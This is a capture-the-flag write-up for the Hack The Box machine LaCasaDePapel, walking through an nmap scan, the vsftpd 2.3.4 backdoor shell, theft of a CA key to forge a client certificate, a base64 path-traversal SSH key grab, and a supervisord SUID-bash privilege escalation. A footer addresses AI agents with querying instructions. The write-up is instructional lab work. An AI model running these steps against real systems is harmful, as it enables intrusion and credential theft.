# LaCasaDePapel

<figure><img src="/files/0tqjsdQ4sG5Xg6SUCgnO" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.131 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Fri Mar 10 18:15:27 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.131
Warning: 10.10.10.131 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.131
Host is up (0.042s latency).
Not shown: 65360 closed tcp ports (reset), 170 filtered tcp ports (no-response), 1 filtered tcp ports (port-unreach)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

# Nmap done at Fri Mar 10 18:16:05 2023 -- 1 IP address (1 host up) scanned in 38.51 seconds
```

{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p21,22,80,443 10.10.10.131 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Fri Mar 10 18:16:24 2023 as: nmap -sCV -p21,22,80,443 -Pn -oN targeted 10.10.10.131
Nmap scan report for 10.10.10.131
Host is up (0.043s latency).

PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03e1c2c9791ca66b51348d7ac3c7c850 (RSA)
|   256 41e495a3390b25f9dadebe6adc59486d (ECDSA)
|_  256 300bc6662b8f5e4f2628750ef5b171e4 (ED25519)
80/tcp  open  http     Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| tls-nextprotoneg: 
|   http/1.1
|_  http/1.0
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 10 18:16:52 2023 -- 1 IP address (1 host up) scanned in 27.84 seconds
```

{% endcode %}

## Exploitation

Port 21 is running *vsftpd 2.3.4*, which has a remote backdoor command execution vulnerability.

> searchsploit vsftpd 2.3.4

```
-------------------------------------------------------------- ----------------------
 Exploit Title   
 -------------------------------------------------------------- ---------------------
vsftpd 2.3.4 - Backdoor Command Execution                     | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)        | unix/remote/17491.rb
-------------------------------------------------------------- ----------------------
Shellcodes: No Results
```

If we inspect the code, we'll see that all it does is log in with a username containing the `:)` characters and a random password. This will open a shell on port 6200 of the victim machine.

> searchsploit -x unix/remote/49757.py

```python
...
user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
...
```

Let's try it. Log in as the user `alfa8sa:)` and password `alfa8sa` into the *FTP* service.

> ftp 10.10.10.131

```
Connected to 10.10.10.131.
220 (vsFTPd 2.3.4)
Name (10.10.10.131:alfa8sa): alfa8sa:)
331 Please specify the password.
Password: alfa8sa
```

These credentials won't work, but now we get a shell on port *6200*.

> rlwrap nc 10.10.10.131 6200

```
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
```

As you can see, we don't get a *bash* shell, instead, it is a *Psy Shell*, which is a PHP shell. We could try to run commands on the system with functions such as `system()`, `shell_exec()` or `exec()`, but all these functions are disabled as seen in `phpinfo()`.

> phpinfo()

{% code overflow="wrap" %}

```
disable_functions => exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source => exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
```

{% endcode %}

But we can still list directories and get the content of files. There are a few home directories for the following users, which might be useful in the future.

> scandir("/home/")

```
=> [
     ".",
     "..",
     "berlin",
     "dali",
     "nairobi",
     "oslo",
     "professor",
   ]
```

If we type `ls`, we'll see there is a variable called `tokyo`.

> ls

```
Variables: $tokyo
```

This variable contains the absolute path of a private key.

> show $tokyo

```php
  > 2| class Tokyo {
    3|  private function sign($caCert,$userCsr) {
    4|          $caKey = file_get_contents('/home/nairobi/ca.key');
    5|          $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
    6|          openssl_x509_export($userCert, $userCertOut);
    7|          return $userCertOut;
    8|  }
    9| }p
```

Let's obtain the key, and copy it to our local machine.

> echo file\_get\_contents('/home/nairobi/ca.key')

```
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb
...
53udBEzjt3WPqYGkkDknVhjD
-----END PRIVATE KEY-----
```

As we saw earlier, port *443* is open, but it shows an error because it needs a client certificate.

<figure><img src="/files/OFLYjZeun8K297YLjA9h" alt=""><figcaption></figcaption></figure>

We could check if the private key we got is the same one as the CA certificate of the *HTTPS* server. First, export the CA certificate as `ca.crt`.

<figure><img src="/files/nOCKUyWGUijrAO7OPq1o" alt=""><figcaption></figcaption></figure>

Now compare the MD5 hashes of both public keys, and both are the same as you can see, which means that the CA certificate is using the ca.key private key.

> openssl x509 -in ca.crt -pubkey -noout | md5sum; openssl pkey -in ca.key -pubout | md5sum

```
71e2b2ca7b610c24d132e3e4c06daf0c  -
71e2b2ca7b610c24d132e3e4c06daf0c  -
```

Now we could create our own valid client certificate. Create a certificate signing request, then sign it, and convert it to pksc12 so we can import it into the browser.

> openssl genrsa -out client.key 4096
>
> openssl req -new -key client.key -out client.csr
>
> openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -set\_serial 9001 -extensions client -days 9002 -outform PEM -out client.cer
>
> openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12

Now, by checking the client.p12 file, we should see it with `lacasadepapel.htb` as the issuer.

> openssl pkcs12 -info -in client.p12

```
...
issuer=CN = lacasadepapel.htb, O = La Casa De Papel
...
```

Import the certificate in `Your certificates`.

<figure><img src="/files/7EcdRLbdPdOTJ4fUnNbQ" alt=""><figcaption></figcaption></figure>

Now, when accessing the HTTPS server, we'll be asked to select the certificate we just imported.

<figure><img src="/files/neSzCIVmWh5SlvJhWzLw" alt=""><figcaption></figcaption></figure>

Then, we'll be able to see the `PRIVATE AREA`.

<figure><img src="/files/NZGx8ckXiwXnRR6104rm" alt=""><figcaption></figcaption></figure>

Each season has several videos which we can download. But the file link is composed of the `/file/` directory, followed by a *base64* encoded string.

<figure><img src="/files/yxAcGfSMJAJfa0bJDlVc" alt=""><figcaption></figcaption></figure>

The encoded string is just the relative path to the file.

> echo U0VBU09OLTEvMTMuYXZp | base64 -d

```
SEASON-1/13.avi
```

So we could try to retrieve the private SSH key of the user running the web server. Copy the key and give it the right permissions.

> curl -s -k "<https://10.10.10.131/file/$(echo> -n '../.ssh/id\_rsa' | base64)" > id\_rsa; chmod 600 id\_rsa

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
...
X3a0iF5JE3kAAAAYYmVybGluQGxhY2FzYWRlcGFwZWwuaHRiAQID
-----END OPENSSH PRIVATE KEY-----
```

I tried to use the private SSH key with every user found earlier, and it was valid for the *professor* user.

> ssh -i id\_rsa professor\@10.10.10.131

```

 _             ____                  ____         ____                  _ 
| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|
                                                            |_|       

lacasadepapel [~]$ whoami
professor
lacasadepapel [~]$ id
uid=1002(professor) gid=1002(professor) groups=1002(professor)
```

## Privilege Escalation

In the professor home directory, there is a file called `memcached.ini`.

> ls -la

```
total 24
drwxr-sr-x 4 professor professor 4096 Mar  6  2019 .
drwxr-xr-x 7 root      root      4096 Feb 16  2019 ..
lrwxrwxrwx 1 root      professor    9 Nov  6  2018 .ash_history -> /dev/null
drwx------ 2 professor professor 4096 Jan 31  2019 .ssh
-rw-r--r-- 1 root      root        88 Jan 29  2019 memcached.ini
-rw-r----- 1 root      nobody     434 Jan 29  2019 memcached.js
drwxr-sr-x 9 root      professor 4096 Oct  3 13:13 node_modules
```

Which contains a command that sets up a node server.

> cat memcached.ini

```
[program:memcached]
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
```

This job is probably executed by *root*. In fact, root is running the *supervisord* daemon which is used for this type of jobs.

> ps aux | grep supervisor

{% code overflow="wrap" %}

```
7174 root      0:00 {supervisord} /usr/bin/python2 /usr/bin/supervisord --nodaemon --pidfile /var/run/supervisord.pid --configuration /etc/supervisord.conf
7213 professo  0:00 grep supervisor
```

{% endcode %}

The idea is to change the command that is being executed. But we can't do it because of the file permissions, which only allow *root* to modify the file. But, as the file is located in the home directory of the professor user, we can remove the file, and create a new one.

> ls -ld .
>
> rm memcached.ini

```
drwxr-sr-x 4 professor professor 4096 Mar  6  2019 .
```

Now, create the file but with a command which will give the SUID permission to the *bash* binary when the job gets executed.

> echo -e "\[program:memcached]\ncommand = chmod +s /bin/bash" > memcached.ini

Once the bash binary gets the SUID permission set, then run bash as the *root* user, and all we have to do is reap the harvest and take the user and root flags.

> ls -l /bin/bash; bash -p

```
-rwsr-sr-x 1 root root 715008 May  1  2018 /bin/bash
lacasadepapel [~]$ whoami
root
lacasadepapel [~]$ cat /home/berlin/user.txt 
7f6ba31678436a8824b542f582b1281b
lacasadepapel [~]$ cat /root/root.txt 
f8db27cbd4200d32a39d703e1cab2955
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/linux-machines/lacasadepapel.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
